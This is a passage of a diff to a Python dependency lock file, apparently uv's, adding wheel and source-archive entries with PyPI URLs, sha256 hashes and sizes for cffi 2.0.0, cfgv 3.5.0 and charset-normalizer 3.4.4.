"https://files.pythonhosted.org/packages/05/eb/b86f2a2645b62adcfff53b0dd97e8dfafb5c8aa864bd0d9a2c2049a0d551/cffi-2.0.0-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:5eda85d6d1879e692d546a078b44251cdd08dd1cfb98dfb77b670c97cee49ea0", size = 203217, upload-time = "2025-09-08T23:22:14.596Z" }, + { url = "https://files.pythonhosted.org/packages/9f/e0/6cbe77a53acf5acc7c08cc186c9928864bd7c005f9efd0d126884858a5fe/cffi-2.0.0-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:9332088d75dc3241c702d852d4671613136d90fa6881da7d770a483fd05248b4", size = 203079, upload-time = "2025-09-08T23:22:15.769Z" }, + { url = "https://files.pythonhosted.org/packages/98/29/9b366e70e243eb3d14a5cb488dfd3a0b6b2f1fb001a203f653b93ccfac88/cffi-2.0.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:fc7de24befaeae77ba923797c7c87834c73648a05a4bde34b3b7e5588973a453", size = 216475, upload-time = "2025-09-08T23:22:17.427Z" }, + { url = "https://files.pythonhosted.org/packages/21/7a/13b24e70d2f90a322f2900c5d8e1f14fa7e2a6b3332b7309ba7b2ba51a5a/cffi-2.0.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:cf364028c016c03078a23b503f02058f1814320a56ad535686f90565636a9495", size = 218829, upload-time = "2025-09-08T23:22:19.069Z" }, + { url = "https://files.pythonhosted.org/packages/60/99/c9dc110974c59cc981b1f5b66e1d8af8af764e00f0293266824d9c4254bc/cffi-2.0.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:e11e82b744887154b182fd3e7e8512418446501191994dbf9c9fc1f32cc8efd5", size = 211211, upload-time = "2025-09-08T23:22:20.588Z" }, + { url = "https://files.pythonhosted.org/packages/49/72/ff2d12dbf21aca1b32a40ed792ee6b40f6dc3a9cf1644bd7ef6e95e0ac5e/cffi-2.0.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:8ea985900c5c95ce9db1745f7933eeef5d314f0565b27625d9a10ec9881e1bfb", size = 218036, upload-time = "2025-09-08T23:22:22.143Z" }, + { url = "https://files.pythonhosted.org/packages/e2/cc/027d7fb82e58c48ea717149b03bcadcbdc293553edb283af792bd4bcbb3f/cffi-2.0.0-cp310-cp310-win32.whl", hash = "sha256:1f72fb8906754ac8a2cc3f9f5aaa298070652a0ffae577e0ea9bd480dc3c931a", size = 172184, upload-time = "2025-09-08T23:22:23.328Z" }, + { url = "https://files.pythonhosted.org/packages/33/fa/072dd15ae27fbb4e06b437eb6e944e75b068deb09e2a2826039e49ee2045/cffi-2.0.0-cp310-cp310-win_amd64.whl", hash = "sha256:b18a3ed7d5b3bd8d9ef7a8cb226502c6bf8308df1525e1cc676c3680e7176739", size = 182790, upload-time = "2025-09-08T23:22:24.752Z" }, + { url = "https://files.pythonhosted.org/packages/12/4a/3dfd5f7850cbf0d06dc84ba9aa00db766b52ca38d8b86e3a38314d52498c/cffi-2.0.0-cp311-cp311-macosx_10_13_x86_64.whl", hash = "sha256:b4c854ef3adc177950a8dfc81a86f5115d2abd545751a304c5bcf2c2c7283cfe", size = 184344, upload-time = "2025-09-08T23:22:26.456Z" }, + { url = "https://files.pythonhosted.org/packages/4f/8b/f0e4c441227ba756aafbe78f117485b25bb26b1c059d01f137fa6d14896b/cffi-2.0.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:2de9a304e27f7596cd03d16f1b7c72219bd944e99cc52b84d0145aefb07cbd3c", size = 180560, upload-time = "2025-09-08T23:22:28.197Z" }, + { url = "https://files.pythonhosted.org/packages/b1/b7/1200d354378ef52ec227395d95c2576330fd22a869f7a70e88e1447eb234/cffi-2.0.0-cp311-cp311-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:baf5215e0ab74c16e2dd324e8ec067ef59e41125d3eade2b863d294fd5035c92", size = 209613, upload-time = "2025-09-08T23:22:29.475Z" }, + { url = "https://files.pythonhosted.org/packages/b8/56/6033f5e86e8cc9bb629f0077ba71679508bdf54a9a5e112a3c0b91870332/cffi-2.0.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:730cacb21e1bdff3ce90babf007d0a0917cc3e6492f336c2f0134101e0944f93", size = 216476, upload-time = "2025-09-08T23:22:31.063Z" }, + { url = "https://files.pythonhosted.org/packages/dc/7f/55fecd70f7ece178db2f26128ec41430d8720f2d12ca97bf8f0a628207d5/cffi-2.0.0-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:6824f87845e3396029f3820c206e459ccc91760e8fa24422f8b0c3d1731cbec5", size = 203374, upload-time = "2025-09-08T23:22:32.507Z" }, + { url = "https://files.pythonhosted.org/packages/84/ef/a7b77c8bdc0f77adc3b46888f1ad54be8f3b7821697a7b89126e829e676a/cffi-2.0.0-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:9de40a7b0323d889cf8d23d1ef214f565ab154443c42737dfe52ff82cf857664", size = 202597, upload-time = "2025-09-08T23:22:34.132Z" }, + { url = "https://files.pythonhosted.org/packages/d7/91/500d892b2bf36529a75b77958edfcd5ad8e2ce4064ce2ecfeab2125d72d1/cffi-2.0.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:8941aaadaf67246224cee8c3803777eed332a19d909b47e29c9842ef1e79ac26", size = 215574, upload-time = "2025-09-08T23:22:35.443Z" }, + { url = "https://files.pythonhosted.org/packages/44/64/58f6255b62b101093d5df22dcb752596066c7e89dd725e0afaed242a61be/cffi-2.0.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:a05d0c237b3349096d3981b727493e22147f934b20f6f125a3eba8f994bec4a9", size = 218971, upload-time = "2025-09-08T23:22:36.805Z" }, + { url = "https://files.pythonhosted.org/packages/ab/49/fa72cebe2fd8a55fbe14956f9970fe8eb1ac59e5df042f603ef7c8ba0adc/cffi-2.0.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:94698a9c5f91f9d138526b48fe26a199609544591f859c870d477351dc7b2414", size = 211972, upload-time = "2025-09-08T23:22:38.436Z" }, + { url = "https://files.pythonhosted.org/packages/0b/28/dd0967a76aab36731b6ebfe64dec4e981aff7e0608f60c2d46b46982607d/cffi-2.0.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:5fed36fccc0612a53f1d4d9a816b50a36702c28a2aa880cb8a122b3466638743", size = 217078, upload-time = "2025-09-08T23:22:39.776Z" }, + { url = "https://files.pythonhosted.org/packages/2b/c0/015b25184413d7ab0a410775fdb4a50fca20f5589b5dab1dbbfa3baad8ce/cffi-2.0.0-cp311-cp311-win32.whl", hash = "sha256:c649e3a33450ec82378822b3dad03cc228b8f5963c0c12fc3b1e0ab940f768a5", size = 172076, upload-time = "2025-09-08T23:22:40.95Z" }, + { url = "https://files.pythonhosted.org/packages/ae/8f/dc5531155e7070361eb1b7e4c1a9d896d0cb21c49f807a6c03fd63fc877e/cffi-2.0.0-cp311-cp311-win_amd64.whl", hash = "sha256:66f011380d0e49ed280c789fbd08ff0d40968ee7b665575489afa95c98196ab5", size = 182820, upload-time = "2025-09-08T23:22:42.463Z" }, + { url = "https://files.pythonhosted.org/packages/95/5c/1b493356429f9aecfd56bc171285a4c4ac8697f76e9bbbbb105e537853a1/cffi-2.0.0-cp311-cp311-win_arm64.whl", hash = "sha256:c6638687455baf640e37344fe26d37c404db8b80d037c3d29f58fe8d1c3b194d", size = 177635, upload-time = "2025-09-08T23:22:43.623Z" }, + { url = "https://files.pythonhosted.org/packages/ea/47/4f61023ea636104d4f16ab488e268b93008c3d0bb76893b1b31db1f96802/cffi-2.0.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:6d02d6655b0e54f54c4ef0b94eb6be0607b70853c45ce98bd278dc7de718be5d", size = 185271, upload-time = "2025-09-08T23:22:44.795Z" }, + { url = "https://files.pythonhosted.org/packages/df/a2/781b623f57358e360d62cdd7a8c681f074a71d445418a776eef0aadb4ab4/cffi-2.0.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:8eca2a813c1cb7ad4fb74d368c2ffbbb4789d377ee5bb8df98373c2cc0dee76c", size = 181048, upload-time = "2025-09-08T23:22:45.938Z" }, + { url = "https://files.pythonhosted.org/packages/ff/df/a4f0fbd47331ceeba3d37c2e51e9dfc9722498becbeec2bd8bc856c9538a/cffi-2.0.0-cp312-cp312-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:21d1152871b019407d8ac3985f6775c079416c282e431a4da6afe7aefd2bccbe", size = 212529, upload-time = "2025-09-08T23:22:47.349Z" }, + { url = "https://files.pythonhosted.org/packages/d5/72/12b5f8d3865bf0f87cf1404d8c374e7487dcf097a1c91c436e72e6badd83/cffi-2.0.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:b21e08af67b8a103c71a250401c78d5e0893beff75e28c53c98f4de42f774062", size = 220097, upload-time = "2025-09-08T23:22:48.677Z" }, + { url = "https://files.pythonhosted.org/packages/c2/95/7a135d52a50dfa7c882ab0ac17e8dc11cec9d55d2c18dda414c051c5e69e/cffi-2.0.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:1e3a615586f05fc4065a8b22b8152f0c1b00cdbc60596d187c2a74f9e3036e4e", size = 207983, upload-time = "2025-09-08T23:22:50.06Z" }, + { url = "https://files.pythonhosted.org/packages/3a/c8/15cb9ada8895957ea171c62dc78ff3e99159ee7adb13c0123c001a2546c1/cffi-2.0.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:81afed14892743bbe14dacb9e36d9e0e504cd204e0b165062c488942b9718037", size = 206519, upload-time = "2025-09-08T23:22:51.364Z" }, + { url = "https://files.pythonhosted.org/packages/78/2d/7fa73dfa841b5ac06c7b8855cfc18622132e365f5b81d02230333ff26e9e/cffi-2.0.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:3e17ed538242334bf70832644a32a7aae3d83b57567f9fd60a26257e992b79ba", size = 219572, upload-time = "2025-09-08T23:22:52.902Z" }, + { url = "https://files.pythonhosted.org/packages/07/e0/267e57e387b4ca276b90f0434ff88b2c2241ad72b16d31836adddfd6031b/cffi-2.0.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:3925dd22fa2b7699ed2617149842d2e6adde22b262fcbfada50e3d195e4b3a94", size = 222963, upload-time = "2025-09-08T23:22:54.518Z" }, + { url = "https://files.pythonhosted.org/packages/b6/75/1f2747525e06f53efbd878f4d03bac5b859cbc11c633d0fb81432d98a795/cffi-2.0.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:2c8f814d84194c9ea681642fd164267891702542f028a15fc97d4674b6206187", size = 221361, upload-time = "2025-09-08T23:22:55.867Z" }, + { url = "https://files.pythonhosted.org/packages/7b/2b/2b6435f76bfeb6bbf055596976da087377ede68df465419d192acf00c437/cffi-2.0.0-cp312-cp312-win32.whl", hash = "sha256:da902562c3e9c550df360bfa53c035b2f241fed6d9aef119048073680ace4a18", size = 172932, upload-time = "2025-09-08T23:22:57.188Z" }, + { url = "https://files.pythonhosted.org/packages/f8/ed/13bd4418627013bec4ed6e54283b1959cf6db888048c7cf4b4c3b5b36002/cffi-2.0.0-cp312-cp312-win_amd64.whl", hash = "sha256:da68248800ad6320861f129cd9c1bf96ca849a2771a59e0344e88681905916f5", size = 183557, upload-time = "2025-09-08T23:22:58.351Z" }, + { url = "https://files.pythonhosted.org/packages/95/31/9f7f93ad2f8eff1dbc1c3656d7ca5bfd8fb52c9d786b4dcf19b2d02217fa/cffi-2.0.0-cp312-cp312-win_arm64.whl", hash = "sha256:4671d9dd5ec934cb9a73e7ee9676f9362aba54f7f34910956b84d727b0d73fb6", size = 177762, upload-time = "2025-09-08T23:22:59.668Z" }, + { url = "https://files.pythonhosted.org/packages/4b/8d/a0a47a0c9e413a658623d014e91e74a50cdd2c423f7ccfd44086ef767f90/cffi-2.0.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:00bdf7acc5f795150faa6957054fbbca2439db2f775ce831222b66f192f03beb", size = 185230, upload-time = "2025-09-08T23:23:00.879Z" }, + { url = "https://files.pythonhosted.org/packages/4a/d2/a6c0296814556c68ee32009d9c2ad4f85f2707cdecfd7727951ec228005d/cffi-2.0.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:45d5e886156860dc35862657e1494b9bae8dfa63bf56796f2fb56e1679fc0bca", size = 181043, upload-time = "2025-09-08T23:23:02.231Z" }, + { url = "https://files.pythonhosted.org/packages/b0/1e/d22cc63332bd59b06481ceaac49d6c507598642e2230f201649058a7e704/cffi-2.0.0-cp313-cp313-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:07b271772c100085dd28b74fa0cd81c8fb1a3ba18b21e03d7c27f3436a10606b", size = 212446, upload-time = "2025-09-08T23:23:03.472Z" }, + { url = "https://files.pythonhosted.org/packages/a9/f5/a2c23eb03b61a0b8747f211eb716446c826ad66818ddc7810cc2cc19b3f2/cffi-2.0.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:d48a880098c96020b02d5a1f7d9251308510ce8858940e6fa99ece33f610838b", size = 220101, upload-time = "2025-09-08T23:23:04.792Z" }, + { url = "https://files.pythonhosted.org/packages/f2/7f/e6647792fc5850d634695bc0e6ab4111ae88e89981d35ac269956605feba/cffi-2.0.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:f93fd8e5c8c0a4aa1f424d6173f14a892044054871c771f8566e4008eaa359d2", size = 207948, upload-time = "2025-09-08T23:23:06.127Z" }, + { url = "https://files.pythonhosted.org/packages/cb/1e/a5a1bd6f1fb30f22573f76533de12a00bf274abcdc55c8edab639078abb6/cffi-2.0.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:dd4f05f54a52fb558f1ba9f528228066954fee3ebe629fc1660d874d040ae5a3", size = 206422, upload-time = "2025-09-08T23:23:07.753Z" }, + { url = "https://files.pythonhosted.org/packages/98/df/0a1755e750013a2081e863e7cd37e0cdd02664372c754e5560099eb7aa44/cffi-2.0.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:c8d3b5532fc71b7a77c09192b4a5a200ea992702734a2e9279a37f2478236f26", size = 219499, upload-time = "2025-09-08T23:23:09.648Z" }, + { url = "https://files.pythonhosted.org/packages/50/e1/a969e687fcf9ea58e6e2a928ad5e2dd88cc12f6f0ab477e9971f2309b57c/cffi-2.0.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:d9b29c1f0ae438d5ee9acb31cadee00a58c46cc9c0b2f9038c6b0b3470877a8c", size = 222928, upload-time = "2025-09-08T23:23:10.928Z" }, + { url = "https://files.pythonhosted.org/packages/36/54/0362578dd2c9e557a28ac77698ed67323ed5b9775ca9d3fe73fe191bb5d8/cffi-2.0.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:6d50360be4546678fc1b79ffe7a66265e28667840010348dd69a314145807a1b", size = 221302, upload-time = "2025-09-08T23:23:12.42Z" }, + { url = "https://files.pythonhosted.org/packages/eb/6d/bf9bda840d5f1dfdbf0feca87fbdb64a918a69bca42cfa0ba7b137c48cb8/cffi-2.0.0-cp313-cp313-win32.whl", hash = "sha256:74a03b9698e198d47562765773b4a8309919089150a0bb17d829ad7b44b60d27", size = 172909, upload-time = "2025-09-08T23:23:14.32Z" }, + { url = "https://files.pythonhosted.org/packages/37/18/6519e1ee6f5a1e579e04b9ddb6f1676c17368a7aba48299c3759bbc3c8b3/cffi-2.0.0-cp313-cp313-win_amd64.whl", hash = "sha256:19f705ada2530c1167abacb171925dd886168931e0a7b78f5bffcae5c6b5be75", size = 183402, upload-time = "2025-09-08T23:23:15.535Z" }, + { url = "https://files.pythonhosted.org/packages/cb/0e/02ceeec9a7d6ee63bb596121c2c8e9b3a9e150936f4fbef6ca1943e6137c/cffi-2.0.0-cp313-cp313-win_arm64.whl", hash = "sha256:256f80b80ca3853f90c21b23ee78cd008713787b1b1e93eae9f3d6a7134abd91", size = 177780, upload-time = "2025-09-08T23:23:16.761Z" }, + { url = "https://files.pythonhosted.org/packages/92/c4/3ce07396253a83250ee98564f8d7e9789fab8e58858f35d07a9a2c78de9f/cffi-2.0.0-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:fc33c5141b55ed366cfaad382df24fe7dcbc686de5be719b207bb248e3053dc5", size = 185320, upload-time = "2025-09-08T23:23:18.087Z" }, + { url = "https://files.pythonhosted.org/packages/59/dd/27e9fa567a23931c838c6b02d0764611c62290062a6d4e8ff7863daf9730/cffi-2.0.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:c654de545946e0db659b3400168c9ad31b5d29593291482c43e3564effbcee13", size = 181487, upload-time = "2025-09-08T23:23:19.622Z" }, + { url = "https://files.pythonhosted.org/packages/d6/43/0e822876f87ea8a4ef95442c3d766a06a51fc5298823f884ef87aaad168c/cffi-2.0.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:24b6f81f1983e6df8db3adc38562c83f7d4a0c36162885ec7f7b77c7dcbec97b", size = 220049, upload-time = "2025-09-08T23:23:20.853Z" }, + { url = "https://files.pythonhosted.org/packages/b4/89/76799151d9c2d2d1ead63c2429da9ea9d7aac304603de0c6e8764e6e8e70/cffi-2.0.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:12873ca6cb9b0f0d3a0da705d6086fe911591737a59f28b7936bdfed27c0d47c", size = 207793, upload-time = "2025-09-08T23:23:22.08Z" }, + { url = "https://files.pythonhosted.org/packages/bb/dd/3465b14bb9e24ee24cb88c9e3730f6de63111fffe513492bf8c808a3547e/cffi-2.0.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:d9b97165e8aed9272a6bb17c01e3cc5871a594a446ebedc996e2397a1c1ea8ef", size = 206300, upload-time = "2025-09-08T23:23:23.314Z" }, + { url = "https://files.pythonhosted.org/packages/47/d9/d83e293854571c877a92da46fdec39158f8d7e68da75bf73581225d28e90/cffi-2.0.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:afb8db5439b81cf9c9d0c80404b60c3cc9c3add93e114dcae767f1477cb53775", size = 219244, upload-time = "2025-09-08T23:23:24.541Z" }, + { url = "https://files.pythonhosted.org/packages/2b/0f/1f177e3683aead2bb00f7679a16451d302c436b5cbf2505f0ea8146ef59e/cffi-2.0.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:737fe7d37e1a1bffe70bd5754ea763a62a066dc5913ca57e957824b72a85e205", size = 222828, upload-time = "2025-09-08T23:23:26.143Z" }, + { url = "https://files.pythonhosted.org/packages/c6/0f/cafacebd4b040e3119dcb32fed8bdef8dfe94da653155f9d0b9dc660166e/cffi-2.0.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:38100abb9d1b1435bc4cc340bb4489635dc2f0da7456590877030c9b3d40b0c1", size = 220926, upload-time = "2025-09-08T23:23:27.873Z" }, + { url = "https://files.pythonhosted.org/packages/3e/aa/df335faa45b395396fcbc03de2dfcab242cd61a9900e914fe682a59170b1/cffi-2.0.0-cp314-cp314-win32.whl", hash = "sha256:087067fa8953339c723661eda6b54bc98c5625757ea62e95eb4898ad5e776e9f", size = 175328, upload-time = "2025-09-08T23:23:44.61Z" }, + { url = "https://files.pythonhosted.org/packages/bb/92/882c2d30831744296ce713f0feb4c1cd30f346ef747b530b5318715cc367/cffi-2.0.0-cp314-cp314-win_amd64.whl", hash = "sha256:203a48d1fb583fc7d78a4c6655692963b860a417c0528492a6bc21f1aaefab25", size = 185650, upload-time = "2025-09-08T23:23:45.848Z" }, + { url = "https://files.pythonhosted.org/packages/9f/2c/98ece204b9d35a7366b5b2c6539c350313ca13932143e79dc133ba757104/cffi-2.0.0-cp314-cp314-win_arm64.whl", hash = "sha256:dbd5c7a25a7cb98f5ca55d258b103a2054f859a46ae11aaf23134f9cc0d356ad", size = 180687, upload-time = "2025-09-08T23:23:47.105Z" }, + { url = "https://files.pythonhosted.org/packages/3e/61/c768e4d548bfa607abcda77423448df8c471f25dbe64fb2ef6d555eae006/cffi-2.0.0-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:9a67fc9e8eb39039280526379fb3a70023d77caec1852002b4da7e8b270c4dd9", size = 188773, upload-time = "2025-09-08T23:23:29.347Z" }, + { url = "https://files.pythonhosted.org/packages/2c/ea/5f76bce7cf6fcd0ab1a1058b5af899bfbef198bea4d5686da88471ea0336/cffi-2.0.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:7a66c7204d8869299919db4d5069a82f1561581af12b11b3c9f48c584eb8743d", size = 185013, upload-time = "2025-09-08T23:23:30.63Z" }, + { url = "https://files.pythonhosted.org/packages/be/b4/c56878d0d1755cf9caa54ba71e5d049479c52f9e4afc230f06822162ab2f/cffi-2.0.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:7cc09976e8b56f8cebd752f7113ad07752461f48a58cbba644139015ac24954c", size = 221593, upload-time = "2025-09-08T23:23:31.91Z" }, + { url = "https://files.pythonhosted.org/packages/e0/0d/eb704606dfe8033e7128df5e90fee946bbcb64a04fcdaa97321309004000/cffi-2.0.0-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:92b68146a71df78564e4ef48af17551a5ddd142e5190cdf2c5624d0c3ff5b2e8", size = 209354, upload-time = "2025-09-08T23:23:33.214Z" }, + { url = "https://files.pythonhosted.org/packages/d8/19/3c435d727b368ca475fb8742ab97c9cb13a0de600ce86f62eab7fa3eea60/cffi-2.0.0-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:b1e74d11748e7e98e2f426ab176d4ed720a64412b6a15054378afdb71e0f37dc", size = 208480, upload-time = "2025-09-08T23:23:34.495Z" }, + { url = "https://files.pythonhosted.org/packages/d0/44/681604464ed9541673e486521497406fadcc15b5217c3e326b061696899a/cffi-2.0.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:28a3a209b96630bca57cce802da70c266eb08c6e97e5afd61a75611ee6c64592", size = 221584, upload-time = "2025-09-08T23:23:36.096Z" }, + { url = "https://files.pythonhosted.org/packages/25/8e/342a504ff018a2825d395d44d63a767dd8ebc927ebda557fecdaca3ac33a/cffi-2.0.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:7553fb2090d71822f02c629afe6042c299edf91ba1bf94951165613553984512", size = 224443, upload-time = "2025-09-08T23:23:37.328Z" }, + { url = "https://files.pythonhosted.org/packages/e1/5e/b666bacbbc60fbf415ba9988324a132c9a7a0448a9a8f125074671c0f2c3/cffi-2.0.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:6c6c373cfc5c83a975506110d17457138c8c63016b563cc9ed6e056a82f13ce4", size = 223437, upload-time = "2025-09-08T23:23:38.945Z" }, + { url = "https://files.pythonhosted.org/packages/a0/1d/ec1a60bd1a10daa292d3cd6bb0b359a81607154fb8165f3ec95fe003b85c/cffi-2.0.0-cp314-cp314t-win32.whl", hash = "sha256:1fc9ea04857caf665289b7a75923f2c6ed559b8298a1b8c49e59f7dd95c8481e", size = 180487, upload-time = "2025-09-08T23:23:40.423Z" }, + { url = "https://files.pythonhosted.org/packages/bf/41/4c1168c74fac325c0c8156f04b6749c8b6a8f405bbf91413ba088359f60d/cffi-2.0.0-cp314-cp314t-win_amd64.whl", hash = "sha256:d68b6cef7827e8641e8ef16f4494edda8b36104d79773a334beaa1e3521430f6", size = 191726, upload-time = "2025-09-08T23:23:41.742Z" }, + { url = "https://files.pythonhosted.org/packages/ae/3a/dbeec9d1ee0844c679f6bb5d6ad4e9f198b1224f4e7a32825f47f6192b0c/cffi-2.0.0-cp314-cp314t-win_arm64.whl", hash = "sha256:0a1527a803f0a659de1af2e1fd700213caba79377e27e4693648c2923da066f9", size = 184195, upload-time = "2025-09-08T23:23:43.004Z" }, +] + +[[package]] +name = "cfgv" +version = "3.5.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/4e/b5/721b8799b04bf9afe054a3899c6cf4e880fcf8563cc71c15610242490a0c/cfgv-3.5.0.tar.gz", hash = "sha256:d5b1034354820651caa73ede66a6294d6e95c1b00acc5e9b098e917404669132", size = 7334, upload-time = "2025-11-19T20:55:51.612Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/db/3c/33bac158f8ab7f89b2e59426d5fe2e4f63f7ed25df84c036890172b412b5/cfgv-3.5.0-py2.py3-none-any.whl", hash = "sha256:a8dc6b26ad22ff227d2634a65cb388215ce6cc96bbcc5cfde7641ae87e8dacc0", size = 7445, upload-time = "2025-11-19T20:55:50.744Z" }, +] + +[[package]] +name = "charset-normalizer" +version = "3.4.4" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/13/69/33ddede1939fdd074bce5434295f38fae7136463422fe4fd3e0e89b98062/charset_normalizer-3.4.4.tar.gz", hash = "sha256:94537985111c35f28720e43603b8e7b43a6ecfb2ce1d3058bbe955b73404e21a", size = 129418, upload-time = "2025-10-14T04:42:32.879Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/1f/b8/6d51fc1d52cbd52cd4ccedd5b5b2f0f6a11bbf6765c782298b0f3e808541/charset_normalizer-3.4.4-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:e824f1492727fa856dd6eda4f7cee25f8518a12f3c4a56a74e8095695089cf6d", size = 209709, upload-time = "2025-10-14T04:40:11.385Z" }, + { url = "https://files.pythonhosted.org/packages/5c/af/1f9d7f7faafe2ddfb6f72a2e07a548a629c61ad510fe60f9630309908fef/charset_normalizer-3.4.4-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4bd5d4137d500351a30687c2d3971758aac9a19208fc110ccb9d7188fbe709e8", size = 148814, upload-time = "2025-10-14T04:40:13.135Z" }, + { url = "https://files.pythonhosted.org/packages/79/3d/f2e3ac2bbc056ca0c204298ea4e3d9db9b4afe437812638759db2c976b5f/charset_normalizer-3.4.4-cp310-cp310-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:027f6de494925c0ab2a55eab46ae5129951638a49a34d87f4c3eda90f696b4ad", size = 144467, upload-time = "2025-10-14T04:40:14.728Z" }, + { url = "https://files.pythonhosted.org/packages/ec/85/1bf997003815e60d57de7bd972c57dc6950446a3e4ccac43bc3070721856/charset_normalizer-3.4.4-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f820802628d2694cb7e56db99213f930856014862f3fd943d290ea8438d07ca8", size = 162280, upload-time = "2025-10-14T04:40:16.14Z" }, + { url = "https://files.pythonhosted.org/packages/3e/8e/6aa1952f56b192f54921c436b87f2aaf7c7a7c3d0d1a765547d64fd83c13/charset_normalizer-3.4.4-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:798d75d81754988d2565bff1b97ba5a44411867c0cf32b77a7e8f8d84796b10d", size = 159454, upload-time = "2025-10-14T04:40:17.567Z" }, + { url = "https://files.pythonhosted.org/packages/36/3b/60cbd1f8e93aa25d1c669c649b7a655b0b5fb4c571858910ea9332678558/charset_normalizer-3.4.4-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9d1bb833febdff5c8927f922386db610b49db6e0d4f4ee29601d71e7c2694313", size = 153609, upload-time = "2025-10-14T04:40:19.08Z" }, + { url = "https://files.pythonhosted.org/packages/64/91/6a13396948b8fd3c4b4fd5bc74d045f5637d78c9675585e8e9fbe5636554/charset_normalizer-3.4.4-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:9cd98cdc06614a2f768d2b7286d66805f94c48cde050acdbbb7db2600ab3197e", size = 151849, upload-time = "2025-10-14T04:40:20.607Z" }, + { url = "https://files.pythonhosted.org/packages/b7/7a/59482e28b9981d105691e968c544cc0df3b7d6133152fb3dcdc8f135da7a/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:077fbb858e903c73f6c9db43374fd213b0b6a778106bc7032446a8e8b5b38b93", size = 151586, upload-time = "2025-10-14T04:40:21.719Z" }, + { url = "https://files.pythonhosted.org/packages/92/59/f64ef6a1c4bdd2baf892b04cd78792ed8684fbc48d4c2afe467d96b4df57/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:244bfb999c71b35de57821b8ea746b24e863398194a4014e4c76adc2bbdfeff0", size = 145290, upload-time = "2025-10-14T04:40:23.069Z" }, + { url = "https://files.pythonhosted.org/packages/6b/63/3bf9f279ddfa641ffa1962b0db6a57a9c294361cc2f5fcac997049a00e9c/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = 